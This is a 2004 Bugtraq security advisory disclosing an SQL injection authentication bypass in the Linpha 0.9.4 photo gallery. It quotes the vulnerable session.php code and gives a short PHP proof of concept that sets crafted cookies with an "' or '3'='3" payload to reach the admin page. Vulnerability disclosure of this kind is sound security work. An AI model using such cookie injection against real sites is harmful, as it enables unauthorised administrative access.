bugtraq - Linpha 0.9.4: authentication bypass

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Date: Thu, 29 Jul 2004 20:48:12 +0700 (ICT)
From: Rubén Molina <ruben@...a.edu.co>
To: bugtraq@...urityfocus.com
Subject: Linpha 0.9.4: authentication bypass



/////////////////////////////////////////////////////


////		Vulnerable Program: Linpha
////
//// 		Url: http://linpha.sf.net
////
//// 		Version: 0.9.4 Latest version
////
//// 		Date: Today, July 28 of 2004
////
//// 		Author: Fernando Quintero (a.k.a nonroot)
////       	 Email: nando@...a.edu.co

//////////////////////////////////////////////////////


  I. Affected software description:

  LinPHA is easy to use, multilingual, flexible photo/image
archive/album/gallery
  written in PHP.
  It uses a SQL database to store information about your pictures. It
comes with a
  HTML based installer, so you don't need experience in setting up SQL DB


  II. Bug

  There is a bug in the code that allows a possible attacker to bypass the
authentication
  of the linpha admin.
  It can do it without using a password, you only have to modify the
cookies of the
  session, and then browsing the admin.php script

  The bug is  located aproximately in  [25]  of the session.php file:

  1. Sql injection allows to bypass the auth

 // Read Cookie

     24 if(read_config('autologin')) {

     25 if(!isset($_SESSION['user_name']) &&
isset($_COOKIE["linpha_userid"]) && $_COOKIE["linpha_userid"]!=""&&
isset($_COOKIE["linpha_password"])&&$_COOKIE["linpha_

        password"]!="")

     26         {

     27                 $query_username = $GLOBALS['db']->Execute("SELECT
nickname, level, groups FROM ".PREFIX."users ".

     28                         "WHERE ID =
'".$_COOKIE["linpha_userid"]."' AND ".

     29                         "password =
'".$_COOKIE["linpha_password"]."'");

     30

     31                 if($row = $query_username->FetchRow())

     32                 {

     33                         $_SESSION["REMOTE_ADDR"] =
@$_SERVER["REMOTE_ADDR"];

     34                         $_SESSION["user_name"] = $row[0];

     35                         $_SESSION["user_pass"] =
$_COOKIE["linpha_password"];

     36                         $_SESSION["user_level"] = $row[1];        
     // Store user level

     37                         $_SESSION["user_groups"] = $row[2];       
     // Store user group membership

     38                 }

     39                 else    // wrong cookie

     40                 {

     41                         setcookie("linpha_userid");     // delete
cookie linpha_userid

     42                         setcookie("linpha_password");   // delete
cookie linpha_password

     43                 }

     44         }

     45 }

  There are two cookies that are validated: linpha_userid and
linpha_password.

  So,I would be get in without a password If I inject those cookies  .



  I wrote this lines in a test.php:



      1 <?PHP

      2 setcookie("linpha_userid","1",time()+86400*365,'/linpha');

      3 setcookie("linpha_password","' or
'3'='3",time()+86400*365,'/linpha');

      4 ?>



  The script is loaded before the admin.php file, then the new cookies will
  inject the query in [29].


  This is posibble if the magic_quote variable is setting to Off in the
php.ini.

  but anyway, these cookies should be checked before using it in the query.


  ok, That's it!



III. Solution
     ¨¨¨¨¨¨¨¨
    The main coder was contacted and the code was fixed in the cvs ;).


IV.  Greetings

    - Greets to GIGAX people, Sandra195 specially
    - Greets All the community. I learn of you!

V.  Contact

    Fernando Quintero
    nando@...a.edu.co
    Medellín-Colombia

VI. Final words

    !!! Viva Colombia !!!!!!!!